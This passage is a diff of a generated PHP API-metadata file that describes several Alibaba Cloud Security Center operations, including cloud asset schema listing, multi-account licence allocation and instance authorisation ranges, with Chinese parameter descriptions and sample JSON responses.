+ ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"MatchTypeOperators\\": [\\n {\\n \\"Type\\": \\"LIST\\",\\n \\"MatchOperators\\": [\\n {\\n \\"Name\\": \\"LIST_CONTAINS\\",\\n \\"Value\\": \\"CONTAINS\\",\\n \\"ShowName\\": \\"Contains\\",\\n \\"InputPattern\\": \\"PRIMITIVE\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取云资产数据操作符列表', + 'description' => 'Get the list of cloud asset data operators.', + ], + 'ListCloudAssetSchemas' => [ + 'summary' => '获取云产品资产结构列表', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasLFD8D4', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的白名单规则数量。默认值为**10**，表示每页显示10条白名单规则。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'CloudAssetTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云资产的资产类型信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云资产的资产类型信息。', + 'type' => 'object', + 'properties' => [ + 'AssetType' => [ + 'description' => '资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + .'资产的类型-子类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS '."\n" + .' * **1**：磁盘（存储）'."\n" + .' * **2**：安全组'."\n" + .' * **100**：实例'."\n" + .'- **1**：负载均衡'."\n" + .' * **0**：负载均衡'."\n" + .' * **1**：应用型负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .' * **0**：实例'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .' * **0**：实例'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .' * **0**：实例'."\n" + .'- **6**：容器镜像服务'."\n" + .' * **1**：企业版'."\n" + .' * **2**：个人版'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .' * **0**：集群'."\n" + .'- **9**：专有网络VPC'."\n" + .' * **0**：NAT网关'."\n" + .' * **1**：EIP'."\n" + .' * **2**：VPN'."\n" + .' * **3**：FLOW_LOG'."\n" + .'- **11**：操作审计'."\n" + .' * **0**：跟踪'."\n" + .'- **12**：CDN'."\n" + .' * **0**：实例'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .' * **0**：证书'."\n" + .'- **14**：云效'."\n" + .' * **0**：组织'."\n" + .'- **16**：DDoS防护'."\n" + .' * **0**：实例'."\n" + .'- **17**：Web应用防火墙'."\n" + .' * **0**：域名'."\n" + .'- **18**：对象存储'."\n" + .' * **0**：Bucket'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .' * **0**：集群'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .' * **0**：实例'."\n" + .'- **21**：微服务引擎'."\n" + .' * **0**：集群'."\n" + .'- **22**：文件存储NAS'."\n" + .' * **0**：文件系统'."\n" + .'- **23**：数据安全中心'."\n" + .' * **0**：实例'."\n" + .'- **24**：弹性公网IP'."\n" + .' * **0**：任播弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .' * **0**：实例'."\n" + .'- **26**：PolarDB-X'."\n" + .' * **0**：实例'."\n" + .'- **27**：Elasticsearch'."\n" + .' * **0**：实例', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'DataNames', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产数据名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产数据名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ACS_ECS_Disk', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'AssociatedDataOnly', + 'in' => 'query', + 'schema' => [ + 'description' => '是否过滤出可以关联其他资产的属性。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '是否调用成功。取值：'."\n" + .'- **true**：调用成功。'."\n" + .'- **false**：调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'PageInfo' => [ + 'description' => 'PageInfo 页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '当前页码', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的账户资产的指纹信息的数量。默认值为**10**，表示每页显示10条账户资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '54', + ], + 'Count' => [ + 'description' => '查询到的检查项的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'CloudAssetSchemas' => [ + 'description' => '资产结构定义列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'DataName' => [ + 'description' => '资产结构定义名称。', + 'type' => 'string', + 'example' => 'ACS_ECS_Disk', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Redis 版'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **15**：访问控制'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Properties' => [ + 'description' => '当前资产结构定义文本。', + 'type' => 'string', + 'example' => '[{\\"associatedData\\":[{\\"assetSubType\\":100,\\"assetType\\":0,\\"dataName\\":\\"ACS_ECS_Instance\\",\\"properties\\":[{\\"name\\":\\"InstanceId\\",\\"path\\":\\"InstanceId\\"}],\\"vendor\\":0}],\\"description\\":\\"The ID of the instance to which the disk is attached.\\",\\"example\\":\\"i-bp67acfmxazb4q****\\",\\"name\\":\\"InstanceId\\",\\"type\\":\\"STRING\\",\\"withAssociatedData\\":true},{\\"description\\":\\"Disk name\\",\\"example\\":\\"testDiskName\\",\\"name\\":\\"DiskName\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Only encrypted disks\\",\\"example\\":\\"false\\",\\"name\\":\\"Encrypted\\",\\"type\\":\\"BOOLEAN\\"},{\\"description\\":\\"Disk status\\",\\"example\\":\\"In_use\\",\\"name\\":\\"Status\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Disk category\\",\\"example\\":\\"cloud_ssd\\",\\"name\\":\\"Category\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Disk type\\",\\"example\\":\\"system\\",\\"name\\":\\"Type\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Specifies whether to set an automatic snapshot policy for the disk.\\",\\"example\\":\\"false\\",\\"name\\":\\"EnableAutomatedSnapshotPolicy\\",\\"type\\":\\"BOOLEAN\\"},{\\"description\\":\\"The ID of the automatic snapshot policy.\\",\\"example\\":\\"sp-bp67acfmxazb4p****\\",\\"name\\":\\"AutoSnapshotPolicyId\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Disk, local disk, or elastic ephemeral disk ID\\",\\"example\\":\\"d-bp18um4r4f2fve24****\\",\\"name\\":\\"DiskId\\",\\"type\\":\\"STRING\\"}]', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AccountIdNotExist', + 'errorMessage' => 'AccountId not exist', + ], + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 54,\\n \\"Count\\": 10\\n },\\n \\"CloudAssetSchemas\\": [\\n {\\n \\"DataName\\": \\"ACS_ECS_Disk\\",\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": 1,\\n \\"Properties\\": \\"[{\\\\\\\\\\\\\\"associatedData\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"assetSubType\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"assetType\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"dataName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"ACS_ECS_Instance\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"properties\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"InstanceId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"path\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"InstanceId\\\\\\\\\\\\\\"}],\\\\\\\\\\\\\\"vendor\\\\\\\\\\\\\\":0}],\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"The ID of the instance to which the disk is attached.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp67acfmxazb4q****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"InstanceId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"withAssociatedData\\\\\\\\\\\\\\":true},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk name\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"testDiskName\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"DiskName\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Only encrypted disks\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"false\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Encrypted\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"BOOLEAN\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk status\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"In_use\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Status\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk category\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"cloud_ssd\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Category\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk type\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"system\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Type\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Specifies whether to set an automatic snapshot policy for the disk.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"false\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"EnableAutomatedSnapshotPolicy\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"BOOLEAN\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"The ID of the automatic snapshot policy.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"sp-bp67acfmxazb4p****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"AutoSnapshotPolicyId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk, local disk, or elastic ephemeral disk ID\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"d-bp18um4r4f2fve24****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"DiskId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"}]\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取资产结构定义列表。', + ], + 'UpdateMultiUserInstances' => [ + 'summary' => '管理员账号在多账号授权管理中通过编辑分配授权。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'MemberInstances', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '成员实例。', + 'type' => 'array', + 'items' => [ + 'description' => '结构体。', + 'type' => 'object', + 'properties' => [ + 'OptType' => [ + 'description' => '操作类型。取值： '."\n" + .'- **ADD**：增加 '."\n" + .'- **CHANGE**：变更'."\n" + .'- **DEL**：删除', + 'type' => 'string', + 'required' => false, + 'example' => 'CHANGE', + ], + 'ChargeType' => [ + 'description' => '付费类型，取值：'."\n" + .'* **PREPAID**：预付费。'."\n" + .'* **POSTPAID**（默认）：按量付费。', + 'type' => 'string', + 'required' => false, + 'example' => 'PREPAID', + ], + 'AliUid' => [ + 'description' => '成员的阿里云账号UID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1766185894104675', + ], + 'InstanceId' => [ + 'description' => '成员账号购买的云安全中心实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas-p0anpb26my69', + ], + 'Version' => [ + 'description' => '需要绑定的云安全中心防护版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'string', + 'required' => false, + 'example' => '7', + ], + 'Status' => [ + 'description' => '成员账号实例状态。取值：'."\n" + .'- **1**：有效。'."\n" + .'- **2**：已失效。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'SlsCapacity' => [ + 'description' => '分配给成员日志存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '10', + ], + 'AntiRansomwareCapacity' => [ + 'description' => '分配给成员防勒索容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '10', + ], + 'RaspCapacity' => [ + 'description' => '分配给成员应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '0', + ], + 'CspmCapacity' => [ + 'description' => '分配给成员云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '0', + ], + 'ThreatAnalysisCapacity' => [ + 'description' => '分配给成员威胁分析容量。单位：GB。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '10', + ], + 'ThreatAnalysisFlow' => [ + 'description' => '分配给成员威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '0', + ], + 'ImageScanCapacity' => [ + 'description' => '分配给成员镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'WebLockCapacity' => [ + 'description' => '分配给成员网页防篡改授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '0', + ], + 'HoneypotCapacity' => [ + 'description' => '分配给成员蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '0', + ], + 'SdkCapacity' => [ + 'description' => '分配给成员恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '10', + ], + 'VersionSummary' => [ + 'description' => '成员账号授权使用信息。', + 'type' => 'array', + 'items' => [ + 'description' => '结构体。', + 'type' => 'object', + 'properties' => [ + 'Version' => [ + 'description' => '成员账号的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + 'EcsCount' => [ + 'description' => '分配给成员授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '3', + ], + 'CoreCount' => [ + 'description' => '分配给成员授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '6', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'Result' => [ + 'description' => '请求处理结果。', + 'type' => 'array', + 'items' => [ + 'description' => '结构体。', + 'type' => 'object', + 'properties' => [ + 'AliUid' => [ + 'description' => '用户UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '****185894****', + ], + 'InstanceId' => [ + 'description' => '成员账号购买的云安全中心实例ID。', + 'type' => 'string', + 'example' => 'sas-p0anpb26****'."\n", + ], + 'UpdateStatus' => [ + 'description' => '更新状态。取值： '."\n" + .'- **1**：成功 '."\n" + .'- **2**：失败', + 'type' => 'string', + 'example' => '1', + ], + 'ErrorMessage' => [ + 'description' => '调用失败时，返回的出错信息。', + 'type' => 'string', + 'example' => 'Failed to update multi-user instance configuration', + ], + ], + ], + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Result\\": [\\n {\\n \\"AliUid\\": 0,\\n \\"InstanceId\\": \\"sas-p0anpb26****\\\\n\\",\\n \\"UpdateStatus\\": \\"1\\",\\n \\"ErrorMessage\\": \\"Failed to update multi-user instance configuration\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '授权分配管理', + ], + 'GetInstanceAuthRange' => [ + 'summary' => '获取实例授权取值范围。', + 'path' => '', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****'."\n", + ], + 'InstanceAuthRange' => [ + 'description' => '实例范围验证', + 'type' => 'object', + 'properties' => [ + 'AntiRansomwareService' => [ + 'description' => '防勒索管家服务。取值：'."\n" + .'- **0**：未开通'."\n" + .'- **1**：已开通', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AntiVirusCore' => [ + 'description' => '防病毒版核数。取值：'."\n" + ."\n" + .'- **1-2000000000**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '1-2000000000:1', + ], + 'AdvancedCount' => [ + 'description' => '高级版台数。取值：'."\n" + ."\n" + .'- **1-2000000000**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '1-2000000000:1', + ], + 'EnterpriseCount' => [ + 'description' => '企业版台数取值范围。范围：'."\n" + .'- **取值**：1-2000000000'."\n" + .'- **步长**：1', + 'type' => 'string', + 'example' => '1-2000000000:1', + ], + 'ContainerCount' => [ + 'description' => '旗舰版台数。取值：'."\n" + ."\n" + .'- **1-2000000000**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '1-2000000000:1', + ], + 'ContainerCore' => [ + 'description' => '旗舰版核数。取值：'."\n" + ."\n" + .'- **1-2000000000**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '1-2000000000:1', + ], + 'RaspCapacity' => [ + 'description' => '应用防护数。取值：'."\n" + ."\n" + .'- **1-100000000**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '0-100000000:1', + ], + 'WebLockCapacity' => [ + 'description' => '网页防篡改授权数。取值：'."\n" + ."\n" + .'- **1-9999**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '0-9999:1', + ], + 'ThreatAnalysisCapacity' => [ + 'description' => '威胁分析容量。取值：'."\n" + ."\n" + .'- **1-9999999999**：范围'."\n" + .'- **1000**：步长', + 'type' => 'string', + 'example' => '0-9999999999:1000', + ], + 'ThreatAnalysisFlow' => [ + 'description' => '威胁分析与响应日志接入流量。取值：'."\n" + ."\n" + .'- **1-9999999999**：范围'."\n" + .'- **100**：步长', + 'type' => 'string', + 'example' => '0-9999999999:100', + ], + 'SlsCapacity' => [ + 'description' => '日志存储容量。取值：'."\n" + ."\n" + .'- **1-600000000**：范围'."\n" + .'- **10**：步长', + 'type' => 'string', + 'example' => '0-600000000:10', + ], + 'AntiRansomwareCapacity' => [ + 'description' => '防勒索容量。取值：'."\n" + ."\n" + .'- **1-9000000000**：范围'."\n" + .'- **10**：步长', + 'type' => 'string', + 'example' => '0-9000000000:10', + ], + 'ImageScanCapacity' => [ + 'description' => '镜像扫描授权数。取值：'."\n" + ."\n" + .'- **1-200000**：范围'."\n" + .'- **20**：步长', + 'type' => 'string', + 'example' => '0-200000:20', + ], + 'HoneypotCapacity' => [ + 'description' => '蜜罐授权台数。取值：'."\n" + ."\n" + .'- **20-500**：范围'."\n" + .'- **1**：步长', + 'type' => 'string', + 'example' => '20-500:1', + ], + 'CspmCapacity' => [ + 'description' => '云平台配置检查扫描数。取值：'."\n" + ."\n" + .'- **15000-9999999999**：范围'."\n" + .'- **55000**：步长', + 'type' => 'string', + 'example' => '15000-9999999999:55000', + ], + 'SdkCapacity' => [ + 'description' => '恶意文件检测SDK授权数。取值：'."\n" + ."\n" + .'- **10-9999999999**：范围'."\n" + .'- **10**：步长', + 'type' => 'string', + 'example' => '10-9999999999:10', + ], + ], + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\\\n\\",\\n \\"InstanceAuthRange\\": {\\n \\"AntiRansomwareService\\": 1,\\n \\"AntiVirusCore\\": \\"1-2000000000:1\\",\\n \\"AdvancedCount\\": \\"1-2000000000:1\\",\\n \\"EnterpriseCount\\": \\"1-2000000000:1\\",\\n \\"ContainerCount\\": \\"1-2000000000:1\\",\\n 